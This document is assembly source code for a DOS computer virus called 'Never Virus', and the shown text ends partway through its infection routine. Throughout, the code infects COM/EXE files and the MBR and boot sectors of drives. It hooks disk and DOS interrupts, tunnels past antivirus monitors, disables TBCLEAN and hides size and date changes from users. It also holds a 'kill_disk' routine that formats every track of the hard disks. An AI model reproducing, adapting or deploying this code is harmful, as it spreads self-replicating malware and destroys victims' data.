;Never Virus
;COM/EXE/Boot sector/partition table/full Stealth and polymorphic
;Tunnels
;Does other stuff
;link with eng.asm

.model  tiny
.code

file_size       equ     file_end - v_start
sect_size       equ     (decrypt - v_start + 511) / 512
para_size       equ     (v_end - v_start + 15) / 16
kilo_size       equ     (v_end - v_start + 1023) / 1024

find_dos_13     equ     tracer_dos_13 - (trace_mode + 1)
find_13         equ     tracer_13 - (trace_mode + 1)
find_15         equ     tracer_15 - (trace_mode + 1)
find_21         equ     tracer_21 - (trace_mode + 1)
find_40         equ     tracer_40 - (trace_mode + 1)
step_21         equ     tracer_step_21 - (trace_mode + 1)

loader_size     equ     (OFFSET loader_end) - loader

no_hook_21      equ     new_13_next - (hook_21 + 1)
yes_hook_21     equ     check_21 - (hook_21 + 1)

boot            equ     0
file            equ     1

years           equ     100 shl 1


v_start:        jmp     decrypt
                
                ; push    cs
                ; pop     ds
                ; call    copy_ints
                dw      copy_ints - ($ + 2)     ; save ints 13 15 21 40
                mov     ds:hook_21,al           ; (0=yes_hook_21) hook 21h
                mov     ds:origin,al            ; (0=boot) remeber host
                mov     es,ax                   ; ES=0
                pop     di
                sub     di,3                    ; address of loader in boot
                push    ax di                   ; save return address 0:xxxx
                mov     si,offset boot_code
                call    move_boot_code1         ; copy and decode boot code
                mov     al,13h
                mov     dx,offset new_13
                call    set_int                 ; hook int 13h
                call    inf_hard                ; infect drive C:
                test    byte ptr ds:load_head,dl ; DL=80h drive C:?
                je      boot_retf
                mov     ax,1ffh
                call    random                  ; time to activate?
                jne     boot_retf
                jmp     kill_disk

boot_retf:      retf                            ; return to boot sector
                
;=====( Copy boot code and (en/de)crypt it )=================================;

move_boot_code1:mov     ah,ds:[si - 1]          ; get key
move_boot_code: mov     cx,loader_size
                cld
move_boot_loop: lodsb
                xor     al,ah                   ; code/decode
                rol     ah,1
                stosb
                loop    move_boot_loop
                retn
                
;=====( Code that was in boot sector before infection )======================;

boot_code_key   db      ?
boot_code       db      loader_size dup(?)

;=====( Gets inserted into infected Boot sectors/MBRs )======================;

loader:         call    $ + 3
                mov     di,40h
                mov     ds,di
                sub     word ptr ds:[di-(40h-13h)],kilo_size ; hide memory
                mov     ax,ds:[di-(40h-13h)]
                mov     cl,0ah
                ror     ax,cl                   ; get TOM address
                mov     es,ax
                mov     ax,200h + sect_size
                xor     bx,bx
                mov     cx,0
load_sect       =       $ - 2
                mov     dx,0
load_head       =       $ - 2
                int     13h                     ; read code into memory
                jb      load_fail
                push    es bx                   ; address of high code
                retf
load_fail:      int     18h
loader_end:

;=====( save ints 13h, 15h, 21h & 40h. Assumes ES=CS )=======================;

copy_ints:      push    ds
                xor     ax,ax
                mov     ds,ax                   ; segment 0
                mov     si,13h * 4h
                mov     di,offset int_13
                push    si si
                movsw
                movsw                           ; int 13h to int_13
                pop     si
                movsw
                movsw                           ; int 13h to dos_13
                mov     si,15h * 4h
                movsw
                movsw                           ; int 15h to int_15
                pop     si                      ; address of int 13h's IVT
                cmp     byte ptr ds:[475h],al   ; any hard disks?
                je      copy_int_40
                mov     si,40h * 4h
copy_int_40:    movsw
                movsw                           ; copy int 13h/40h to int_40
                mov     si,21h * 4h
                movsw
                movsw                           ; int 21h to int_21
                pop     ds
                retn

;=====( get interrupt address )==============================================;

get_int:        push    ax
                xor     ah,ah
                rol     ax,1
                rol     ax,1
                xchg    bx,ax
                xor     ax,ax
                mov     es,ax
                les     bx,es:[bx]              ; get int address
                pop     ax
                retn

;=====( Set interrupt address )==============================================;

set_int:        push    ax bx ds
                xor     ah,ah
                rol     ax,1
                rol     ax,1
                xchg    ax,bx
                xor     ax,ax
                push    ds
                mov     ds,ax
                mov     ds:[bx],dx
                pop     ds:[bx + 2]
                pop     ds bx ax
                retn
                

push_all:       pop     cs:push_pop_ret
                pushf
                push    ax bx cx dx bp si di ds es
                mov     bp,sp
push_pop_jmp:   jmp     cs:push_pop_ret

pop_all:        pop     cs:push_pop_ret
                pop     es ds di si bp dx cx bx ax
                popf
                jmp     push_pop_jmp

;=====( Infect Drive C: )====================================================;

inf_hard:       push    cs cs
                pop     es ds
                mov     ax,201h
                mov     bx,offset disk_buff
                mov     cx,1
                mov     dx,80h
                call    call_13                 ; read MBR of drive C:
                jb      cant_inf_hard
                cmp     ds:[bx.pt_start_head],ch ; Jackal?
                je      cant_inf_hard
                mov     cx,ds:[bx.pt_end_sector_track]
                and     cx,0000000000111111b    ; get sector count
                sub     cx,sect_size
                jbe     cant_inf_hard
                cmp     cl,1                    ; too few sectors?
                jbe     cant_inf_hard
                call    copy_loader             ; copy loader into MBR
                jb      cant_inf_hard
                push    bx
                mov     ax,300h + sect_size
                xor     bx,bx
                call    call_13                 ; write code to hidden sectors
                pop     bx
                jb      cant_inf_hard
                mov     ax,301h
                mov     cl,1
                call    call_13                 ; write infected MBR
cant_inf_hard:  retn   

;=====( Copy Loader into disk_buff (BX) )====================================;

copy_loader:    push    cx dx
                cmp     word ptr ds:[bx+1feh],0aa55h    ; valid boot code?
                jne     copy_load_no
                mov     di,offset boot_code
                mov     ds:[di+load_sect-boot_code],cx  ; save track/sector
                and     dl,80h                          ; Drive C: or A:
                mov     ds:[di+load_head-boot_code],dx  ; save head/disk
                call    find_boot               ; find code/already infected?
                je      copy_load_no
                call    random_1                ; get random key
                mov     ds:[di - 1],ah          ; save key at boot_code_key
                push    si
                call    move_boot_code          ; save boot code and encrypt
                mov     si,di                   ; offset of loader
                pop     di                      ; boot code pointer
                mov     cx,loader_size
                rep     movsb                   ; copy loader into boot sect
                clc
                mov     al,0
                org     $ - 1
copy_load_no:   stc
                pop     dx cx
                retn   
                
;=====( Find start of boot sector's code )===================================;

find_boot:      mov     si,bx
                cld
                lodsb                           ; get 1st instruction
                push    ax
                lodsw                           ; Jump displacement (if jump)
                xchg    cx,ax
                pop     ax
                cmp     al,0ebh                 ; Short jump?
                jne     find_boot_jump
                xor     ch,ch                   ; 8bit jump
                dec     si
                jmp     find_boot_add
find_boot_jump: cmp     al,0e9h                 ; Near Jump?
                je      find_boot_add
find_boot_noadd:sub     cx,cx                   ; No displacement
                mov     si,bx
find_boot_add:  add     si,cx                   ; si=start of boot code
                cmp     si,offset (disk_buff+200h) - (loader_size + 5) 
                                                ; jump out of range?
                jnb     find_boot_noadd
                cmp     word ptr ds:[si],00e8h  ; CALL -> already infected
                jne     find_boot_ret
                cmp     word ptr ds:[si+2],0bf00h ; 00 MOV DI -> already inf
find_boot_ret:  retn

;=====( Disable TBCLEAN )====================================================;

anti_tbclean:   xor     ax,ax
                pushf
                pop     dx
                and     dh,not 1                ; TF off
                push    dx dx
                popf
                push    ss
                pop     ss
                pushf                           ; Not trapped
                pop     dx
                test    dh,1                    ; TF set?
                pop     dx
                je      anti_tb_ret
                push    es
                xor     bp,bp
                mov     cx,ss
                cli
                mov     ss,bp                   ; segment 0
                les     di,ss:[bp+1h*4h]        ; address of int 1h
                mov     ss,cx
                sti
                mov     al,0cfh
                cld
                stosb                           ; IRET -> Int 1h
                pop     es
                push    dx
                popf
anti_tb_ret:    xchg    bp,ax                   ; save result
                retn

;=====( Swap jump into DOS' int 13h )========================================;

swap_13:        call    push_all
                mov     si,offset jump_code_13
                les     di,cs:[si+dos_13-jump_code_13]  ; get address in DOS
                jmp     swap_code

;=====( Swap jump into DOS' int 21h )========================================;

swap_21:        call    push_all
                mov     si,offset jump_code_21
                les     di,cs:[si+int_21-jump_code_21]
swap_code:      push    cs
                pop     ds
                mov     cx,5
                cmp     ds:origin,ch            ; 0 -> Boot origin, no tunnel
                je      swap_end
                cld
swap_loop:      lodsb
                xchg    al,es:[di]
                mov     ds:[si-1],al
                inc     di
                loop    swap_loop
swap_end:       call    pop_all
                retn

;=====( Find original interrupt entry points )===============================;

find_ints:      call    copy_ints               ; get interrupt addresses
                mov     ah,52h
                int     21h
                mov     ax,es:[bx-2]
                mov     ds:dos_seg,ax           ; 1st MCB segment
                mov     al,1h
                call    get_int                 ; get address of int 1h
                push    bx es
                mov     dx,offset tracer
                call    set_int                 ; hook int 1h
                pushf
                pop     si
                mov     di,offset trace_mode
                mov     byte ptr ds:[di],find_dos_13  ; find int 13h in DOS
                                                      ; and BIOS
                mov     ah,1h
                call    si_tf                   ; set TF
                call    call_13
                mov     byte ptr ds:[di],find_15 ; find int 15h in BIOS
                mov     ah,0c0h
                call    si_tf                   ; set TF
                pushf
                call    ds:int_15   
                mov     byte ptr ds:[di],find_21 ; find int 21h in DOS
                mov     ah,30h
                call    si_tf                   ; set TF
                call    call_21
                mov     byte ptr ds:[di],find_40 ; find int 40h in BIOS
                mov     ah,1
                call    si_tf                   ; set TF
                call    call_40
                and     si,not 100h
                push    si
                popf                            ; disable Trapping
                pop     ds dx
                mov     al,1
                call    set_int                 ; unhook int 1h
                retn

;=====( Set TF in SI, then set flags to SI )=================================;

si_tf:          or      si,100h
                push    si
                popf
                retn

;=====( Tracing/Tunneling )==================================================;

tracer:         push    ds
                push    cs
                pop     ds
                mov     ds:old_di,di
                mov     di,offset old_ax
                mov     ds:[di],ax
                mov     ds:[di+old_bx-old_ax],bx
                mov     ds:[di+old_cx-old_ax],cx
                mov     ds:[di+old_dx-old_ax],dx
                pop     ds:[di-(old_ax-old_ds)]
                pop     bx cx dx                ; get IP, CS and Flags
                mov     ax,cs
                cmp     ax,cx                   ; In our CS?
                jne     $
trace_mode      =       byte ptr $ - 1
                jmp     tracer_iret

tracer_dos_13:  cmp     cx,ds:dos_seg           ; in DOS code?
                jnb     tracer_cont
                mov     di,offset dos_13
                mov     ds:trace_mode,find_13   ; find it in BIOS next
                jmp     tracer_save_f

tracer_21:      cmp     cx,1234h                ; In DOS code?
dos_seg         =       word ptr $ - 2
                jnb     tracer_cont
                mov     di,offset int_21
tracer_save:    and     dh,not 1                ; TF off
tracer_save_f:  mov     ds:[di],bx
                mov     ds:[di + 2],cx          ; save address of int
                jmp     tracer_cont

tracer_15:      mov     di,offset int_15
                jmp     tracer_bios

tracer_40:      mov     di,offset int_40
                jmp     tracer_bios
                
tracer_13:      mov     di,offset int_13
tracer_bios:    cmp     ch,0c8h                 ; Below BIOS?
                jb      tracer_cont
                cmp     ch,0f4h                 ; Above BIOS?
                jb      tracer_save
                jmp     tracer_cont

tracer_step_21: dec     ds:inst_count           ; down counter
                jne     tracer_cont
                push    dx
                mov     al,1
                lds     dx,ds:int_1             ; get int 1h address
                call    set_int
                call    swap_21                 ; insert int 21h jump
                pop     dx
                and     dh,not 1h               ; TF off

tracer_cont:    test    dh,1                    ; TF on?
                je      tracer_iret
get_inst:       mov     ds,cx                   ; instruction CS
                xor     di,di
get_inst1:      mov     ax,ds:[bx + di]         ; get instruction
                cmp     al,0f0h                 ; LOCK
                je      skip_prefix
                cmp     al,0f2h                 ; REPNE
                je      skip_prefix
                cmp     al,0f3h                 ; REPE?
                je      skip_prefix
                cmp     al,9ch                  ; PUSHF or above?
                jae     emulate_pushf
                and     al,11100111b            ; 26,2e,36,3e = 26
                cmp     al,26h                  ; Segment Prefix?
                jne     tracer_iret
skip_prefix:    inc     di
                jmp     get_inst1

emulate_pushf:  jne     emulate_popf
                and     dh,not 1                ; TF off
                push    dx                      ; fake PUSHF
emulate_next:   lea     bx,ds:[bx + di + 1]     ; skip instruction
emulate_tf:     or      dh,1                    ; TF on
                jmp     get_inst

emulate_popf:   cmp     al,9dh                  ; POPF?
                jne     emulate_iret
                pop     dx                      ; fake POPF
                jmp     emulate_next

emulate_iret:   cmp     al,0cfh                 ; IRET?
                jne     emulate_int
                pop     bx cx dx                ; fake IRET
                jmp     emulate_tf

emulate_int:    cmp     al,0cdh                 ; Int xx
                je      emulate_int_xx
                cmp     al,0cch                 ; Int 3?
                mov     ah,3
                je      emulate_int_x
                cmp     al,0ceh                 ; Into?
                mov     ah,4
                jne     tracer_iret
                test    dh,8                    ; OF set?
                je      tracer_iret
emulate_int_x:  dec     bx                      ; [bx+di+2-1]
emulate_int_xx: and     dh,not 1                ; TF off
                lea     bx,ds:[bx + di + 2]     ; get return address
                push    dx cx bx                ; fake Int
                mov     al,ah                
                push    es
                call    get_int                 ; get interrupt address
                mov     cx,es
                pop     es
                jmp     emulate_tf

tracer_iret:    push    dx cx bx                ; save flags, cs & ip
                mov     ax,0
old_ds          =       word ptr $ - 2
                mov     ds,ax
                mov     ax,0
old_ax          =       word ptr $ - 2
                mov     bx,0
old_bx          =       word ptr $ - 2
                mov     cx,0
old_cx          =       word ptr $ - 2
                mov     dx,0
old_dx          =       word ptr $ - 2
                mov     di,0
old_di          =       word ptr $ - 2
                iret

;=====( file infections come here after decryption )=========================;

file_start:     push    ds                      ; save PSP segment
                call    $ + 3
                pop     si
                sub     si,offset $ - 1
                call    anti_tbclean            ; disable TBCLEAN
                or      bp,bp                   ; TBCLEAN active?
                jne     go_res
                mov     ah,30h
                mov     bx,-666h
                int     21h
                cmp     al,3h                   ; must be DOS 3+
                jb      jump_host
go_res:         mov     ax,es
                dec     ax
                mov     ds,ax
                sub     di,di
                or      bp,bp                   ; TBCLEAN here?
                jne     dont_check_mcb
                cmp     byte ptr ds:[di],'Z'    ; Last Block?
                jne     jump_host
dont_check_mcb: mov     ax,para_size
                sub     ds:[di + 3],ax          ; from MCB
                sub     ds:[di + 12h],ax        ; from PSP
                mov     es,ds:[di + 12h]        ; get memory address
                mov     ds,di
                sub     word ptr ds:[413h],kilo_size ; from int 12h
                mov     cx,jump_code_13-v_start
                cld
                rep     movs byte ptr es:[di],byte ptr cs:[si]  
                mov     ax,offset high_code
                push    es ax
                retf

jump_host:      push    cs
                pop     ds
                pop     es                      ; PSP segment
                lea     si,ds:[si + header]     ; get address of header
                mov     ax,ds:[si]              ; get 1st instruction
                cmp     ax,'ZM'                 ; EXE?
                je      jump_2_exe
                cmp     ax,'MZ'                 ; EXE?
                je      jump_2_exe
                mov     cx,18h / 2
                mov     di,100h
                push    es di
                cld
                rep     movsw                   ; repair .COM file
                push    es
                pop     ds
                xchg    ax,cx
                retf
                
jump_2_exe:     mov     ax,es
                add     ax,10h
                add     ds:[si.eh_cs],ax
                add     ax,ds:[si.eh_ss]        ; get SS/CS
                push    es
                pop     ds
                cli
                mov     ss,ax
                mov     sp,cs:[si.eh_sp]
                xor     ax,ax
                sti
                jmp     dword ptr cs:[si.eh_ip]


high_code:      push    cs
                pop     ds
                mov     byte ptr ds:[di+origin-jump_code_13],file ; tunnel      
                mov     ax,2
                call    random                  ; 1 in 3 chance of no stealth
                                                ; on special programs
                mov     ds:check_special,al
                mov     ds:hook_21,no_hook_21   ; dont hook int 21h
                mov     al,0eah
                stosb                           ; store at jump_code_13
                mov     ds:[di+4],al
                mov     ax,offset new_13
                stosw
                mov     word ptr ds:[di+3],offset new_21
                mov     ds:[di],cs
                mov     ds:[di+5],cs
                push    di
                call    find_ints               ; trace interrupts
                pop     di
                push    cs
                pop     ds
                mov     ax,ds:dos_seg
                cmp     word ptr ds:[di+(dos_13+2)-(jump_code_13+3)],ax 
                                                ; found DOS' int 13h?
                ja      call_inf_hard
                cmp     word ptr ds:[di+(int_21+2)-(jump_code_13+3)],ax            
                                                ; found DOS' int 21h?
                ja      call_inf_hard
                call    swap_13
                call    swap_21                 ; insert jumps into DOS
call_inf_hard:  call    inf_hard                ; infect drive C:
                or      bp,bp                   ; ZF -> No TBCLEAN
                mov     si,bp                   ; SI=0 if goto jump_host
                jne     kill_disk
                jmp     jump_host

kill_disk:      xor     bx,bx
                mov     es,bx                   ; table to use for format
                mov     dl,80h                  ; Drive C:
kill_next_disk: xor     dh,dh                   ; head 0
kill_next_track:xor     cx,cx                   ; track 0             
kill_format:    mov     ax,501h
                call    call_disk               ; format track
                and     cl,11000000b
                inc     ch                      ; next track low
                jne     kill_format
                add     cl,40h                  ; next track high
                jne     kill_format
                xor     ah,ah
                int     13h                     ; reset disk
                inc     dh                      ; next head
                cmp     dh,10h
                jb      kill_next_track
                inc     dx                      ; next drive
                jmp     kill_next_disk

;=====( Interrupt 13h handler )==============================================;

new_13:         jmp     $
hook_21         =       byte ptr $ - 1

check_21:       call    push_all
                mov     al,21h
                call    get_int                 ; get int 21h address
                mov     ax,es
                push    cs cs
                pop     ds es
                cmp     ax,800h                 ; too high?
                ja      cant_hook_21
                mov     di,offset int_21 + 2
                std
                xchg    ax,ds:[di]              ; swap addresses
                scasw                           ; did it change?
                je      cant_hook_21
                mov     ds:[di],bx
                mov     al,21h
                mov     dx,offset new_21
                call    set_int                 ; hook int 21h
                mov     ds:hook_21,no_hook_21
cant_hook_21:   call    pop_all

new_13_next:    cmp     ah,2h                   ; Read?
                jne     jump_13
                cmp     cx,1                    ; track 0, sector 1?
                jne     jump_13
                or      dh,dh                   ; head 0?
                je      hide_boot
jump_13:        call    call_dos_13
                retf    2h


hide_boot:      call    call_dos_13             ; read boot sector
                call    push_all
                jb      hide_boot_err
                push    es cs
                pop     es ds
                mov     cx,100h
                mov     si,bx
                mov     di,offset disk_buff
                mov     bx,di
                cld
                rep     movsw                   ; copy boot sector to buffer
                push    cs
                pop     ds
                call    find_boot               ; find start/already infected?
                jne     inf_boot
                mov     ax,201h
                mov     cx,ds:[si+load_sect-loader]
                mov     dh,byte ptr ds:[si+(load_head+1)-loader]
                                                ; get code location
                call    call_disk               ; read virus code
                jb      hide_boot_err
                mov     ax,ds:[0]
                cmp     ds:[bx],ax              ; verify infection
                jne     hide_boot_err
                mov     di,ss:[bp.reg_bx]
                mov     es,ss:[bp.reg_es]       ; get caller's buffer
                sub     si,bx                   ; displacement into boot sect.
                add     di,si                   ; address of loader
                lea     si,ds:[bx+(boot_code-v_start)] ; boot code in virus
                call    move_boot_code1         ; hide infection
hide_boot_err:  call    pop_all
                retf    2h

inf_boot:       cmp     dl,80h                  ; hard disk?
                jnb     hide_boot_err
                mov     ax,301h
                mov     cx,1
                call    call_disk               ; Write boot sector to disk
                                                ; CY -> Write-Protected
                jb      hide_boot_err
                mov     si,dx                   ; save drive #
                mov     di,bx
                mov     ax,ds:[di.bs_sectors]   ; get number of sectors
                mov     cx,ds:[di.bs_sectors_per_track]
                sub     ds:[di.bs_sectors],cx   ; prevent overwriting of code
                mov     ds:hide_count,cx
                xor     dx,dx
                or      ax,ax                   ; error?
                je      hide_boot_err
                jcxz    hide_boot_err
                div     cx
                or      dx,dx                   ; even division?
                jne     hide_boot_err
                mov     bx,ds:[di.bs_heads]     ; get number of heads
                or      bx,bx
                je      hide_boot_err
                div     bx
                or      dx,dx
                jne     hide_boot_err
                dec     ax
                mov     ch,al                   ; last track
                mov     cl,1                    ; sector 1
                dec     bx
                mov     dx,si                   ; drive
                mov     dh,bl                   ; last head
                mov     bx,di                   ; offset disk buffer
                call    copy_loader             ; Copy loader into Boot sector
                jb      hide_boot_err
                mov     ax,300h + sect_size
                xor     bx,bx
                call    call_disk
                jb      hide_boot_err
                mov     ax,301h
                mov     bx,offset disk_buff
                mov     cx,1
                xor     dh,dh
                call    call_disk               ; write boot sector to disk
                mov     bx,ss:[bp.reg_bx]
                mov     ds,ss:[bp.reg_es]       ; get caller's buffer
                sub     ds:[bx.bs_sectors],9ffh ; prevent overwriting of code
hide_count      =       word ptr $ - 2
                jmp     hide_boot_err

;=====( Interrupt 21h handler )==============================================;

new_21:         cli
                mov     cs:int_21_ss,ss
                mov     cs:int_21_sp,sp         ; save stack pointers
                push    cs
                pop     ss
                mov     sp,offset temp_stack    ; allocate stack
                sti
                call    push_all
                in      al,21h
                or      al,2                    ; disable keyboard
                out     21h,al
                push    cs
                pop     ds
                mov     di,offset new_24
                mov     word ptr ds:[di-(new_24-handle)],bx ; save handle
                mov     al,24h
                call    get_int                 ; get address of int 24h
                mov     word ptr ds:[di-(new_24-int_24)],bx
                mov     word ptr ds:[di-(new_24-(int_24+2))],es
                mov     word ptr ds:[di],03b0h  ; MOV AL,3
                mov     byte ptr ds:[di+2],0cfh ; IRET
                mov     dx,di
                call    set_int                 ; hook int 24h
                call    pop_all
                call    swap_21                 ; remove jump from int 21h
                call    push_all
                cmp     ah,30h                  ; get DOS version?
                jne     is_dir_fcb
                add     bx,666h                 ; looking for us?
                jnz     is_dir_fcb
                mov     ss:[bp.reg_ax],bx       ; set DOS version=0
                mov     ss:[bp.reg_bx],bx
                jmp     retf_21

is_dir_fcb:     cmp     ah,11h
                jb      is_dir_asciiz
                cmp     ah,12h
                ja      is_dir_asciiz
                call    call_21                 ; do find
                or      al,al                   ; error?
                je      dir_fcb
                jmp     jump_21

dir_fcb:        call    save_returns            ; save AX
                call    get_psp                 ; get current PSP
                mov     ax,'HC'
                scasw                           ; CHKDSK?
                jne     dir_fcb_ok
                mov     ax,'DK'
                scasw
                jne     dir_fcb_ok
                mov     ax,'KS'
                scasw
                je      retf_21
dir_fcb_ok:     call    get_dta                 ; get DTA address
                xor     di,di
                cmp     byte ptr ds:[bx],-1     ; extended FCB?
                jne     dir_fcb_next
                mov     di,7h                   ; fix it up
dir_fcb_next:   lea     si,ds:[bx+di.ds_date+1] ; offset of year -> SI
dir_hide:       call    is_specialfile          ; no stealth if helper
                je      retf_21
                cmp     byte ptr ds:[si],years  ; infected?
                jc      retf_21
                sub     byte ptr ds:[si],years  ; restore old date
                les     ax,ds:[bx+di.ds_size]   ; get size of file
                mov     cx,es
                sub     ax,file_size            ; hide size increase
                sbb     cx,0
                jc      retf_21
                mov     word ptr ds:[bx+di.ds_size],ax
                mov     word ptr ds:[bx+di.ds_size+2],cx ; save new size
retf_21:        call    undo_24                 ; unhook int 24h
                call    pop_all
                call    swap_21                 ; insert jump
                cli
                mov     ss,cs:int_21_ss
                mov     sp,cs:int_21_sp
                sti
                retf    2

                
is_dir_asciiz:  cmp     ah,4eh
                jb      is_lseek
                cmp     ah,4fh
                ja      is_lseek
                call    call_21
                jnc     dir_asciiz    
go_jump_21:     jmp     jump_21

dir_asciiz:     call    save_returns            ; save AX and flags
                call    get_dta                 ; get dta address
                mov     di,-3
                lea     si,ds:[bx.dta_date+1]   ; get year address
                jmp     dir_hide

is_lseek:       cmp     ax,4202h                ; Lseek to end?
                jne     is_date
                call    call_21_file
                jb      go_jump_21
                call    get_dcb                 ; get DCB address
                jbe     lseek_exit
                call    is_specialfile          ; dont hide true size from
                                                ; helpers
                je      lseek_exit
                sub     ax,file_size
                sbb     dx,0                    ; hide virus at end
                mov     word ptr ds:[di.dcb_pos],ax
                mov     word ptr ds:[di.dcb_pos+2],dx ; set position in DCB
lseek_exit:     clc
                call    save_returns            ; save AX/flags
                mov     ss:[bp.reg_dx],dx
                jmp     retf_21

is_date:        cmp     ax,5700h                ; get date?
                je      get_date
                cmp     ax,5701h                ; set date?
                jne     is_read
                call    get_dcb
                jbe     date_err
                cmp     dh,years                ; already setting 100 years?
                jnb     date_err
                add     dh,years                ; dont erase marker
get_date:       call    is_specialfile          ; do not hide date for
                                                ; helpers
                je      date_err
                call    call_21_file            ; get/set date
                jnc     date_check
date_err:       jmp     jump_21

date_check:     cmp     dh,years                ; infected?
                jb      date_ok
                sub     dh,years
date_ok:        clc
                call    save_returns            ; save ax/flags
                mov     ss:[bp.reg_cx],cx
                mov     ss:[bp.reg_dx],dx       ; save time/date
                jmp     retf_21
                
is_read:        cmp     ah,3fh                  ; reading file?
                je      do_read
no_read:        jmp     is_write

do_read:        call    get_dcb                 ; get DCB address
                jbe     no_read
                call    is_specialfile
                je      no_read
                les     ax,ds:[di.dcb_size]     ; get size of file                                
                mov     bx,es
                les     dx,ds:[di.dcb_pos]      ; get current position
                mov     si,es
                and     cs:read_bytes,0
                or      si,si                   ; in 1st 64k?
                jnz     read_high
                cmp     dx,18h                  ; reading header?
                jnb     read_high
                push    cx
                add     cx,dx
                cmc
                jnc     read_above
                cmp     cx,18h                  ; read goes above header?
read_above:     pop     cx
                jb      read_below
                mov     cx,18h
                sub     cx,dx
read_below:     push    ax bx                   ; save size
                push    dx                      ; position
                sub     dx,18h
                add     ax,dx                   ; get position in header
                cmc
                sbb     bx,si
                xchg    word ptr ds:[di.dcb_pos],ax
                xchg    word ptr ds:[di.dcb_pos+2],bx ; lseek to header
                push    ax bx
                push    ds
                mov     ah,3fh                
                mov     dx,ss:[bp.reg_dx]
                mov     ds,ss:[bp.reg_ds]
                call    call_21_file            ; read file
                pop     ds
                pop     word ptr ds:[di.dcb_pos+2]
                pop     word ptr ds:[di.dcb_pos]
                pop     dx
                pushf
                add     dx,ax                   ; adjust position
                add     cs:read_bytes,ax        ; remember # of bytes read
                popf
                pop     bx ax
                jnc     read_high
                jmp     jump_21

read_high:      mov     word ptr ds:[di.dcb_pos],dx ; update position
                mov     word ptr ds:[di.dcb_pos+2],si
                mov     cx,ss:[bp.reg_cx]       ; number of bytes to read
                sub     cx,cs:read_bytes
                sub     ax,file_size
                sbb     bx,0                    ; get original size
                push    ax bx
                sub     ax,dx
                sbb     bx,si                   ; in virus now?
                pop     bx ax
                jnc     read_into
                xor     cx,cx                   ; read 0 bytes
                jmp     read_fake

read_into:      add     dx,cx
                adc     si,0                    ; get position after read
                cmp     bx,si                   ; read extends into virus?
                ja      read_fake
                jb      read_adjust
                cmp     ax,dx
                jnb     read_fake
read_adjust:    sub     dx,cx                   ; get position again
                xchg    cx,ax
                sub     cx,dx   ; # of bytes to read = Original size - Pos
read_fake:      mov     ah,3fh
                mov     dx,ss:[bp.reg_dx]
                add     dx,cs:read_bytes
                mov     ds,ss:[bp.reg_ds]
                call    call_21_file            ; read file
                jc      read_exit
                add     ax,0
read_bytes      =       word ptr $ - 2
                clc
read_exit:      call    save_returns
                jmp     retf_21
                

is_write:       cmp     ah,40h                  ; write?
                je      do_write
no_write:       jmp     is_infect

do_write:       call    get_dcb
                jbe     no_write
                les     ax,ds:[di.dcb_size]     ; get file size
                mov     bx,es
                sub     ax,18h
                sbb     bx,0                    ; get header position
                xchg    ax,word ptr ds:[di.dcb_pos]
                xchg    bx,word ptr ds:[di.dcb_pos+2] ; lseek to header
                push    ax bx
                mov     ax,2
                xchg    ax,ds:[di.dcb_mode]     ; read/write mode
                push    ax
                push    ds cs
                pop     ds es
                call    read_header             ; read 18h bytes
                pop     es:[di.dcb_mode]        ; restore access mode
                jc      write_rest_pos
                mov     word ptr es:[di.dcb_pos],ax
                mov     word ptr es:[di.dcb_pos+2],ax ; lseek to start
                call    write_header                  ; write old header
                jc      write_rest_pos
                push    es
                pop     ds
                sub     word ptr ds:[di.dcb_size],file_size
                sbb     word ptr ds:[di.dcb_size+2],ax    ; truncate at virus
                sub     byte ptr ds:[di.dcb_date+1],years ; remove 100 years
write_rest_pos: pop     word ptr es:[di.dcb_pos+2]
                pop     word ptr es:[di.dcb_pos]
                jmp     jump_21


is_infect:      cmp     ah,3eh                  ; Close?
                je      infect_3e
                cmp     ax,4b00h                ; Execute?
                je      infect_4b
                jmp     jump_21

infect_4b:      mov     ax,3d00h                ; Open file
                cmp     ax,0
                org     $ - 2
infect_3e:      mov     ah,45h                  ; Duplicate handle
                call    int_2_bios              ; lock out protection programs
                call    call_21_file            ; get handle
                mov     cs:handle,ax
                mov     ax,4408h
                cwd
                jc      undo_bios
                call    get_dcb                 ; get DCB for handle
                jb      cant_infect
                jne     cant_infect             ; error/already infected
                mov     bl,00111111b
                and     bl,byte ptr ds:[di.dcb_dev_attr] ; get drive code
                mov     dl,bl                   ; DX=00**
                inc     bx                      ; 0=default,1=a,2=b,3=c,etc.
                call    call_21                 ; drive removable?
                mov     cx,1h
                push    cs
                pop     es
                jc      test_prot_drive
                dec     ax                      ; 1=non-removable
                jz      no_protect
                jmp     test_protect

test_prot_drive:cmp     dl,1                    ; A or B?
                ja      no_protect
test_protect:   mov     ax,201h
                mov     bx,offset disk_buff
                int     13h                     ; read sector
                jc      cant_infect
                mov     ax,301h
                int     13h                     ; write it back
                jc      cant_infect
no_protect:     inc     cx                      ; CX=2
                xchg    cx,ds:[di.dcb_mode]     ; read/write access mode
                push    cx
                xor     ax,ax
                xchg    ah,ds:[di.dcb_attr]     ; attribute=0
                test    ah,00000100b            ; system file?
                push    ax
                jne     cant_system
                cbw
                cwd
                xchg    ax,word ptr ds:[di.dcb_pos]
                xchg    dx,word ptr ds:[di.dcb_pos+2] ; lseek to 0
                push    ax dx
                mov     bp,-'OC'
                add     bp,word ptr ds:[di.dcb_ext]   ; BP=0 of CO
                jnz     not_com
                mov     bp,-'MO'
                add     bp,word ptr ds:[di.dcb_ext+1] ; BP=0 if OM
not_com:        call    infect
                pushf
                call    get_dcb
                popf
                jc      not_infected
                add     byte ptr ds:[di.dcb_date+1],years   ; add 100 years
not_infected:   or      byte ptr ds:[di.dcb_dev_attr+1],40h ; no time/date
                pop     word ptr ds:[di.dcb_pos+2]
                pop     word ptr ds:[di.dcb_pos]
cant_system:    pop     word ptr ds:[di.dcb_attr-1] ; restore attribute
                pop     ds:[di.dcb_mode]        ; restore access mode
cant_infect:    mov     ah,3eh
                call    call_21_file            ; close file
undo_bios:      call    int_2_bios              ; restore interrupts
                
;=====( Jump on to int 21h )=================================================;

jump_21:        call    undo_24                 ; unhook int 24h
                push    cs
                pop     ds
                mov     al,1h
                mov     di,offset int_1
                cmp     byte ptr ds:[di+origin-int_1],al ; file origin?
                jne     jump_21_1
                call    get_int                 ; get int 1h address
                mov     ds:[di],bx
                mov     ds:[di + 2],es
                mov     byte ptr ds:[di+inst_count-int_1],5
                mov     ds:trace_mode,step_21
                mov     dx,offset tracer
                call    set_int                 ; hook int 1h
                call    pop_all
                push    si
                pushf
                pop     si
                call    si_tf                   ; set TF
                pop     si
go_21:          cli
                mov     ss,cs:int_21_ss
                mov     sp,cs:int_21_sp         ; restore stack
                sti
go_2_21:        jmp     cs:int_21
                
jump_21_1:      call    pop_all
                jmp     go_21

;=====( actual infection routine )===========================================;

infect:         push    cs
                pop     ds
